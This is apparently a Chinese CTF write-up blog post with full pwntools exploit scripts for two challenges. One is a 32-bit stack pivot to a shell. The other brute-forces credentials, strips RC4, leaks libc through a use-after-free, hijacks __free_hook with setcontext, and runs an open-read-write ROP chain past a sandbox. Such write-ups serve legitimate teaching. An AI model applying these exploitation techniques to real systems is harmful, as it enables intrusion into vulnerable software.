青龙组:

青龙组这次出了四道pwn题,其中pwn2较为容易,简单的栈迁移,pwn4是libc为2.27的堆题,涉及到了rc4加密算法。其他两道较难,后续有wp了再复现

pwn2

32位栈迁移,给了后门地址和/bin/sh字符串

给了栈地址,把后门写在栈上,再栈迁移到后门地址即可

Python
from pwn import *
p = remote("0192d5ccd76f782bb148945eb222a559.3p85.dg03.ciihw.cn", 45243)

leave_ret = 0x08048555
ret = 0x080483fa
bin_sh = 0x804A038
system_addr = 0x80485e6
bss = 0x804a100
p.sendlineafter("username: ",b'admin')
p.sendlineafter("password: ",b'admin123')
p.recvuntil(b"0x")

leak = p.recvuntil(b'\n')
print(leak)
leak_str = leak.decode('ascii').strip()
byte_data = bytes.fromhex(leak_str).hex()
print(byte_data)
leak_int = int(byte_data, 16)
print(hex(leak_int))

p.recvuntil(b"msg:\n")


payload2 = (b"aaaa"+p32(system_addr)+p32(0)+p32(bin_sh)).ljust(0x50,b'\x00')+p32(leak_int) + p32(leave_ret)
p.sendline(payload2)
p.interactive()

pwn4

这题比较复杂,首先需要逐字节爆破出账号密码,然后就是一个基础的堆题(程序有uaf漏洞),这个题还有两大难关,首先就是rc4算法,也就是rc4(rc4(text))=text,然后要注意glibc2.26之后的堆有tcache机制,而且这题开了沙箱,不能直接getshell,不过我们可以通过setcontext方法利用orw来读取flag。

Python
from pwn import *

context(os='linux',arch='amd64',log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#爆破用户名密码
username=b''
password=b''
flag=False
charset=r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
 
for _ in range(20):
    for i in charset:
        i=ord(i)
        if(i==0x0a or i==0):
            continue
        p.recvuntil(b"Input your username:\n")
        p.sendline(username+p8(i))
        react=p.recvline().strip()
        if(react==b'Invalid username length!'):
            username+=p8(i)
            break
        if(react==b'Username correct!'):
            username+=p8(i)
            flag=True
            break
    print(username)
    if(flag):
        break
p.close()
p=process("./pwn")
 
flag=False
for _ in range(20):
    for i in charset:
        p.sendlineafter(b"username:\n",username)
        if(i==0x0a or i==0):
            continue
        p.recvuntil(b"Input your password:\n")
        p.sendline(password+i.encode())
        react=p.recvline().strip()
        if(react==b'Invalid password length!'):
            password+=i.encode()
            break
        if(react==b'Password correct!'):
            password+=i.encode()
            flag=True
            break
    print(password)
    if(flag):
        break
print("\n===========================")
print("username: "+username.decode())
print("password: "+password.decode())
print("===========================\n")
 
#由于远程交互比较慢而且有时间限制,所以每次爆破一般,然后将爆破出的部分写到起始字节串,再次爆破
#username=b'4dm1n'
#password=b'985da4f8cb37zkj'

#菜单功能
def add(key, size, data):
    p.sendlineafter(">", str(1))
    p.sendlineafter("Input the key: ", str(key))
    p.sendlineafter("Input the value size: ", str(size))
    p.sendlineafter("Input the value: ", data)

def show(key):
    p.sendlineafter(">", str(2))
    p.sendlineafter("Input the key: ", str(key))

def delete(key):
    p.sendlineafter(">", str(3))
    p.sendlineafter("Input the key: ", str(key))

def edit(key, data):
    p.sendlineafter(">", str(4))
    p.sendlineafter("Input the key: ", str(key))
    p.sendlineafter("Input the value: ", data)

#RC4加解密
def ksa(key, keysize):
    """Key Scheduling Algorithm (KSA)"""
    state = list(range(256))
    j = 0
    for i in range(256):
        j = (j + state[i] + key[i % keysize]) % 256
        state[i], state[j] = state[j], state[i]  # Swap
    return state

def prga(state, data):
    """Pseudo-Random Generation Algorithm (PRGA)"""
    i = j = 0
    output = bytearray()
    
    for byte in data:
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]  # Swap
        
        # Generate keystream byte
        k = state[(state[i] + state[j]) % 256]
        output.append(byte ^ k)  # XOR with the keystream
    
    return bytes(output)

def decrypt(key, encrypted_data):
    keysize = len(key)
    # Convert key from string to bytes if needed
    if isinstance(key, str):
        key = key.encode('utf-8')
    
    state = ksa(key, keysize)
    decrypted_data = prga(state, encrypted_data)
    return decrypted_data
#RC4算法的密钥
key = "s4cur1ty_p4ssw0rd"
for i in range(8):
    add(i, 0xa8, decrypt(key, b'Yuq1Ng'))
add(8, 0x270, decrypt(key, b'Wz0beu'))
for i in range(8):
    delete(7-i)#unsorted bin leak最后delete的堆块进入了unsorted bins,由于free之后未置零,show的时候会把fd指针泄露出来,此时fd和bk都指向main_area
show(0)
#gdb.attach(p)
p.recvuntil(b'[0,')
libc_base=u64(decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))-(0x7fdc98bebca0-0x7fdc98800000)    #0x3EBCA0,不用刻意去找固定偏移,可以调试出来
print(hex(libc_base))
#gdb.attach(p)

edit(1, decrypt(key,p64(libc_base+libc.symbols['__free_hook'])))#通过修改tcachebin里面的堆块的fd指针为free_hook进而把free_hook申请出来,然后再修改为setcontext的gadgets

add(0, 0xa8, decrypt(key, b'Yuq1Ng'))#申请出来的是1号堆块
add(0, 0xa8, decrypt(key, p64(libc_base+libc.symbols['setcontext']+53)))#申请出来的是free_hook的堆块

show(2)
p.recvuntil(b'[2,')
heapaddr=u64(decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))+(0x5644c5a52c70-0x5644c5a528b0)    #0x3c0,泄露的是堆地址,然后计算出来的是8号堆块(最上面的堆块)的地址
print(hex(heapaddr))

#ROPgadget --binary libc.so.6 --only 'pop|ret'
pop_rdi_ret=libc_base+0x000000000002164f
pop_rsi_ret=libc_base+0x0000000000023a6a
pop_rdx_ret=libc_base+0x0000000000001b96
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']

#在8号堆块里面伪造堆块,从而在调用setcontext时调用这个堆块
flagaddr=heapaddr+0xb0
payload=flat(
{      0:pop_rdi_ret,
    0x08:flagaddr,
    0x10:pop_rsi_ret,
    0x20:pop_rdx_ret,
    0x30:open,

    0x38:pop_rdi_ret,
    0x40:3,
    0x48:pop_rsi_ret,
    0x50:heapaddr,
    0x58:pop_rdx_ret,
    0x60:0x50,
    0x68:read,

    0x70:pop_rdi_ret,
    0x78:1,
    0x80:pop_rsi_ret,
    0x88:heapaddr,
    0x90:write,
    
    #0x78:b'./flag',#如果是flag直接写就行,但是这里的flag在flag.txt里面,八个字节写不下文件名
    0xa0:heapaddr,
    0xa8:pop_rdi_ret+1,
    0xb0:b'./flag.t',
    0xb8:b'xt'
    },filler=b'\x00',length=0xc0
)
edit(8, payload)

#debug()
delete(8)
p.interactive()

后续可以录个视频讲一下这题(加深自己的理解)

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...